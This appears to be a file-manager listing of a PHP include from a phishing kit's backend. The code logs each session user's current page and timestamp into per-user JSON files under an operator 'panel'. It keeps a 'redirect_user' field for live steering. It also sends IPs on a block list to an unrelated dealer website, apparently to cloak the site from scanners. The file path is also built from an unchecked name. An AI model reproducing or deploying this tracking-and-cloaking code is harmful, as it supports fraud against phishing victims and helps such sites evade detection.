• File: current-page.php
  • Full Path: /home/sema-files/web/semafiles.configured.cc/public_html/pge/includes/current-page.php
  • Date Modified: 03/28/2025 10:57 AM
  • File size: 1019 B
  • MIME-type: text/x-php
  • Charset: utf-8
<?php 

function get_page_info($get_name_page, $get_name_file) {
    if (isset($_SESSION['id_user'])){
        $name_file = $get_name_file;
        $current_page = $get_name_page;
        $timestamp =  date("Y-m-d H:i:s");
        $file_path = "../panel/storage/{$name_file}.json";
        $json_data = file_get_contents($file_path);
        $user_data = json_decode($json_data, true);
        $user_data['current_page'] = $current_page;
        $user_data['timestamp'] = $timestamp;
        $user_data['redirect_user'] = " ";
        $updated_json_data = json_encode($user_data);
        file_put_contents($file_path, $updated_json_data);
        
    } else {
        header('Location: ../index.php');
    }
}

function isBlocked($ip) {
    $blockedIPs = file_get_contents('../panel/actions/blocked_ips.txt');
    return strpos($blockedIPs, $ip) !== false;
}

$userIP = get_client_ip();

if (isBlocked($userIP)) {
    header("Location: https://www.superhonda.com/");
    exit();
}

?>